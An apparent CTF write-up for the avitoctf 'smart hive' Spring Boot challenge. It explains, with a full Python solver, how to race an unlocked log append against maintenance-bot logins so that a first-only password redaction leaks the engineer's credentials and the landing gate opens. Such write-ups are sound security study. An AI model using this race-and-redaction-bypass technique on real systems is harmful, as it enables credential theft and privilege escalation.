$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A Spring Boot smart-hive panel exposes masked request logs and a maintenance bot to a low-privilege operator. Solution: Race an unlocked large log append with bot logins, bypass first-only redaction, authenticate as BeeEng, and open the gate.
Умный улей
The supplied account bee4:MusicIsLife123 is an audio operator. It can read and clear /debug/logs and control hive-speakers, but only an engineer can open the landing gate and obtain the serviceToken.
This solution was verified only against the supplied local Docker instance. The local compose file deliberately sets the engineer password to REDACTED and FLAG to avito{REDACTED}. External hostnames embedded in the source, including names containing zaletay, smartrand, or smarthive-srv, are traps or decoys; they were not contacted and are not evidence of a valid flag.
DatabaseSeeder gives the low-privilege user AUDIO_OPERATOR, which is enough to modify hive-speakers. The landing gate requires ENGINEER. Disabling the speakers reaches this branch in DeviceController:
if ("hive-speakers".equals(id) && !enabled) { maintenanceBot.restoreSpeakers(); }
Every disable request schedules a job, even if the device is already disabled. After the configured 2.5-second delay, the single-threaded MaintenanceBot logs in over loopback as BeeEng and restores the speakers. Its form body contains the secret in a predictable entry:
username=BeeEng&password=<secret>&remember=true&client=maintenance-console
The highest-priority RequestLoggingFilter parses the request parameter map, sorts names, preserves every duplicate value, URL-encodes them, and writes the resulting canonical query to a flat audit log. Consequently, the bot login is logged with a substring equivalent to:
password=<secret>&remember=true&username=BeeEng
DebugAuditLog.append() normalizes newlines and calls compactIfNeeded(), but the actual append is not protected by compactionLock:
compactIfNeeded(); Files.writeString(path, line, StandardCharsets.UTF_8, StandardOpenOption.CREATE, StandardOpenOption.APPEND);
On the shipped JDK 21 environment, a large Files.writeString append was observed as repeated 8192-byte writes. A second thread can therefore append a complete short bot-login entry between two chunks of one attacker-controlled logical line. APPEND prevents offset overwrite, but it does not make the entire multi-megabyte Java call atomic.
The reader masks sensitive values using:
Pattern.compile("([?&]password=)[^&\\s]*") .matcher(line) .replaceFirst("$1********");
Only the first password occurrence on each physical line is replaced. If the bot's complete login write lands after an attacker-controlled &password= marker but before the attacker's final newline, the first attacker value is masked while the later bot password remains visible. The bot's newline terminates the mixed physical line, but that line already contains both password occurrences.
max-http-form-post-size and max-swallow-size). The payload must be large enough to keep an append open for the race but remain accepted.HIVE_LOG_MAX_BYTES=33554432. A roughly 31 MB decimal canonical entry stays below it, avoiding compaction while the useful interleaving occurs.readMasked(), clear(), and compaction take compactionLock, but append() does not hold it during Files.writeString; this is the concurrency primitive.password values survive getParameterMap() and canonicalization, creating a near-limit physical entry with literal &password= markers throughout it.replaceFirst: The masking code sanitizes only the first password marker rather than every occurrence on the mixed line./debug/logs/clear gives the low-privilege account a clean, below-threshold starting point and removes stale entries before each timing attempt.The intended chain is:
bee4 and clear the audit log.password values.BeeEng login entries scheduled by speaker-disable requests./debug/logs?lines=1000 and search for an unmasked value immediately before &remember=true&username=BeeEng.BeeEng, POST /api/devices/landing-gate/open, and read serviceToken.The synchronization method differs between the verified local exploit and the current remote adaptation. Locally, a full large request took about 0.237 seconds, so the original solver could schedule bot jobs first and start the large request using a measured timing formula relative to the 2.5-second bot delay. In remote measurements, the same upload took 6.5–9.3 seconds. The bot writes therefore finished before the upload reached the server-side append. Increasing --bot-delay in that old bot-first ordering does not repair this fundamental ordering problem.
The current solver instead preloads all but the final byte of a fixed-Content-Length request and holds that byte. It then schedules bot jobs sequentially, polls the readable log until one or more BeeEng login lines are visible, and releases the final byte so parsing and the large append begin while later bot jobs are still running. Sequential triggering is deliberate: a 50-way concurrent burst produced HTTP 429. Each trigger handles Retry-After or applies a bounded backoff.
The iterable request body implements __len__. A plain generator combined with a manually supplied Content-Length makes requests add Transfer-Encoding: chunked, producing an invalid ambiguous CL+TE request that Tomcat rejects. The raced large request can return HTTP 500, but this is non-fatal: the logging filter may already have performed a useful partial or mixed append, so the solver records the status and still inspects the audit log.
#!/usr/bin/env python3 """Exploit the unlocked chunked debug-log append and replaceFirst redaction.""" import argparse from concurrent.futures import ThreadPoolExecutor import re import threading import time import requests LOW_USER = "bee4" LOW_PASSWORD = "MusicIsLife123" def gated_noisy_post( base: str, body: str, prefix_sent: threading.Event, release_tail: threading.Event, ) -> tuple[float, int, str]: """Upload all but the last byte, then wait until the bot burst is visible.""" started = time.monotonic() raw = body.encode() class GatedBody: # __len__ is important: requests otherwise adds Transfer-Encoding: # chunked even when a manual Content-Length header is supplied, and # Tomcat rejects the resulting ambiguous CL+TE request. def __len__(self): return len(raw) def __iter__(self): # Once urllib3 asks for the next chunk, the prefix has been handed # to the socket and only one byte remains. end = len(raw) - 1 for offset in range(0, end, 64 * 1024): yield raw[offset : min(offset + 64 * 1024, end)] prefix_sent.set() if not release_tail.wait(120): raise TimeoutError("timed out waiting to release request tail") yield raw[-1:] response = requests.post( base + "/not-found", data=GatedBody(), headers={ "Content-Type": "application/x-www-form-urlencoded", "Content-Length": str(len(raw)), }, timeout=240, ) # A missing route is intentional: the logging filter runs before routing. # A raced append can itself make this response 500. Do not abort before # reading the audit log: the useful mixed line may already be present. return ( time.monotonic() - started, response.status_code, response.text[:200], ) def trigger_bot(base: str, cookies: dict[str, str]) -> bool: """Schedule one maintenance login using an independent HTTP connection.""" for retry in range(6): response = requests.post( base + "/api/devices/hive-speakers/power?enabled=false", cookies=cookies, timeout=30, ) if response.status_code != 429: response.raise_for_status() return True # Parallel trigger bursts may hit the instance rate limiter. Respect a # numeric Retry-After value when present; otherwise use a short backoff. try: delay = float(response.headers.get("Retry-After", "0.25")) except ValueError: delay = 0.25 time.sleep(max(0.1, min(delay, 2.0)) * (retry + 1)) return False def schedule_bot_burst(base: str, cookies: dict[str, str], count: int) -> int: """Queue bot jobs sequentially to stay below the target's rate limit.""" return sum(trigger_bot(base, cookies) for _ in range(count)) def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("base", nargs="?", default="http://127.0.0.1:20019") parser.add_argument("--bot-logins", type=int, default=50) parser.add_argument("--attempts", type=int, default=10) parser.add_argument( "--release-after", type=int, default=1, help="release the held request after this many bot log lines are visible", ) args = parser.parse_args() base = args.base.rstrip("/") if args.release_after < 1: parser.error("--release-after must be at least 1") low = requests.Session() response = low.post( base + "/login", data={"username": LOW_USER, "password": LOW_PASSWORD}, timeout=20, ) response.raise_for_status() # 31 large duplicate values keep the final line below the 32 MiB # compaction threshold while placing a literal "&password=" marker about # every MB. Files.writeString emits this byte array in 8192-byte writes. value = "A" * 999_900 body = "&".join("password=" + value for _ in range(31)) engineer_password = None cookies = low.cookies.get_dict() for attempt in range(args.attempts): low.post(base + "/debug/logs/clear", timeout=30).raise_for_status() prefix_sent = threading.Event() release_tail = threading.Event() # Instead of predicting an 8-second remote upload to millisecond # precision, hold back its final byte. Queue the bot, poll the readable # audit log, and release that byte as soon as the login burst is proven # to be in progress. The remaining bot writes then race the huge append. with ThreadPoolExecutor(max_workers=2) as pool: large_request = pool.submit( gated_noisy_post, base, body, prefix_sent, release_tail ) if not prefix_sent.wait(180): release_tail.set() raise SystemExit("large request prefix did not finish uploading") print(f"[*] attempt {attempt + 1}: body preloaded; scheduling bot") bot_burst = pool.submit( schedule_bot_burst, base, cookies, args.bot_logins ) observed = 0 deadline = time.monotonic() + 45 while time.monotonic() < deadline: probe = low.get( base + "/debug/logs?lines=1000", timeout=30 ).text observed = len( re.findall( r"password=[^&\s]+&remember=true&username=BeeEng", probe, ) ) if observed >= args.release_after: break time.sleep(0.05) print( f"[*] attempt {attempt + 1}: observed {observed} bot lines; " "releasing request tail" ) release_tail.set() current_elapsed, large_status, large_detail = large_request.result() accepted = bot_burst.result() time.sleep(0.75) logs = low.get(base + "/debug/logs?lines=1000", timeout=180).text candidates = re.findall( r"password=([^&\s]+)&remember=true&username=BeeEng", logs ) engineer_password = next( (candidate for candidate in candidates if candidate != "********"), None, ) print( f"[*] attempt {attempt + 1}: large={current_elapsed:.3f}s, " f"status={large_status}, " f"triggers={accepted}/{args.bot_logins}, " f"bot lines={len(candidates)}, leak={bool(engineer_password)}" ) if large_status >= 500 and large_detail: print(f"[!] large response: {large_detail!r}") if engineer_password: break if not engineer_password: raise SystemExit( "credential did not splice; retry or vary --release-after (1-5)" ) print(f"[+] BeeEng password: {engineer_password}") engineer = requests.Session() response = engineer.post( base + "/login", data={"username": "BeeEng", "password": engineer_password}, timeout=20, ) response.raise_for_status() response = engineer.post(base + "/api/devices/landing-gate/open", timeout=20) response.raise_for_status() print(response.text) return 0 if __name__ == "__main__": raise SystemExit(main())
From tasks/avitoctf/smarthive:
docker compose up --build -d python3 -m pip install requests python3 exploit.py http://127.0.0.1:20019
The exploit chain was verified locally with the original timing-based solver: it succeeded on attempt 3, disclosed the intentionally substituted engineer password REDACTED, logged in as BeeEng, and received avito{REDACTED} from the gate endpoint. This establishes the unlocked append and replaceFirst credential leak. The code above is the newer gated synchronization solver and can also target the local URL, but the historical local success claim applies to the original timing implementation.
The gated fixed-Content-Length adaptation is not yet fully verified to leak the credential remotely. The latest observed run preloaded the body, scheduled the bot, observed one bot login line, and released the tail. That prior run then stopped on the large request's HTTP 500 response. The current code correctly treats that status as diagnostic rather than fatal and proceeds to inspect the log, but no subsequent run has yet confirmed a useful remote mixed line, BeeEng authentication, or gate response.
Accordingly, the writeup claims only a locally verified exploit chain and an evidence-based but still unconfirmed remote synchronization adaptation. No challenge, decoy, zero-width-link, or variation-selector-link host was contacted while updating this writeup.
401.java.net.http.HttpClient loopback connection with fixed framing and fully consumed responses.SecureRandom fallback was impractical: the existing JDK generator would need nextBytes() to throw a caught RuntimeException; ordinary resource exhaustion does not provide that condition.--bot-delay does not fix the old remote bot-first solver when uploading the body itself takes longer than the 2.5-second delay: bot appends complete before server-side processing of the large request begins.Retry-After/backoff are required.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar